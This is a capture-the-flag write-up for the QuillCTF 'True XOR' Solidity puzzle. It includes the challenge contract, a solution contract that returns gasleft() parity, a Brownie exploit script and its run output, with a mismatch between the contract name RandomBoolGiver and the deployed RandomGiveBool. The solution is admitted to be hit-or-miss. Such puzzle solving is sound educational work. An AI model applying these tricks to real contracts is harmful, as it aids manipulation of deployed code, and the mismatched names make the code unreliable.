True XOR is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there is only 1 solidity
file. TrueXOR.sol
. Contract is not deployed on any test network.
Objective of CTF is
- Make a successful call to the `callMe` function.
- The given `target` parameter should belong to a contract deployed by you and should use `IBoolGiver` interface.
To solve this question we somehow have to return different booleans in the same transaction on the view function. So it is not possible to change any state variable to control it and return something else using that state variable.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IBoolGiver {
function giveBool() external view returns (bool);
}
contract TrueXOR {
function callMe(address target) external view returns (bool) {
bool p = IBoolGiver(target).giveBool();
bool q = IBoolGiver(target).giveBool();
require((p && q) != (p || q), "bad bools");
require(msg.sender == tx.origin, "bad sender");
return true;
}
}
If we check solidity official document for Block And Transaction Properties we can see there are 15 different transaction properties exist.
blockhash(uint blockNumber) returns (bytes32): hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero
block.basefee (uint): current block’s base fee (EIP-3198 and EIP-1559)
block.chainid (uint): current chain id
block.coinbase (address payable): current block miner’s address
block.difficulty (uint): current block difficulty
block.gaslimit (uint): current block gaslimit
block.number (uint): current block number
block.timestamp (uint): current block timestamp as seconds since unix epoch
gasleft() returns (uint256): remaining gas
msg.data (bytes calldata): complete calldata
msg.sender (address): sender of the message (current call)
msg.sig (bytes4): first four bytes of the calldata (i.e. function identifier)
msg.value (uint): number of wei sent with the message
tx.gasprice (uint): gas price of the transaction
tx.origin (address): sender of the transaction (full call chain)
And all of them except one will be the same in the same transaction because TrueXOR
contract will call giveBool
function in the same transaction which means same block. However, the gasleft
function will be different for each call. gasleft()
returns the amount of gas remaining in the current transaction. So we can use gasleft
function to return a boolean. It is possible to break that condition with some kind of brute-forcing methodology.
POC
Solidity Attack Contract
pragma solidity ^0.8.0;
interface IBoolGiver {
function giveBool() external view returns (bool);
}
contract RandomBoolGiver is IBoolGiver {
function giveBool() external override view returns (bool) {
return gasleft() % 2 == 0;
}
/*
function giveBool() external override view returns (bool) {
uint256 randomNum = uint256(keccak256(abi.encodePacked(gasleft())));
return randomNum % 2 == 0;
}
*/
}
We can either use function one to get randomly mod 2 of the gasleft and return the value (it will be %50
chance to return true/false) or the second one to generate random integer and again get mod 2 of that random function. For example if uint256(keccak256(abi.encodePacked(gasleft())));
won't work then we can change it to uint256(keccak256(abi.encodePacked(gasleft()-1)));
to make it work.
Python Exploit Function
from brownie import *
from scripts.setup_general import console
def exploit():
admin = accounts[0]
attacker = accounts[1]
xor = TrueXOR.deploy({'from': admin})
console.yellow("Creating random bool giver contract")
attack = RandomGiveBool.deploy({'from': attacker})
console.yellow("Calling -> xor.callMe(attack, {'from': attacker})")
answer = xor.callMe(attack, {'from': attacker})
assert answer == True
console.green("callMe function returned: " + str(answer))
And the output is
>>> run('poc', 'exploit')
Running 'scripts\poc.py::exploit'...
Transaction sent: 0xce77ec632f9eed0af0d2627f1af06e384b89bf277e87988147fe84eef046b25f
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
TrueXOR.constructor confirmed Block: 1 Gas used: 179221 (1.49%)
TrueXOR deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87
Creating random bool giver contract
Transaction sent: 0x868a8ab106d2d5a5655a3936614e021237f5600bb857b4755c720551b60bdc5b
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
RandomGiveBool.constructor confirmed Block: 2 Gas used: 91635 (0.76%)
RandomGiveBool deployed at: 0xe7CB1c67752cBb975a56815Af242ce2Ce63d3113
Calling -> xor.callMe(attack, {'from': attacker})
+callMe function returned: True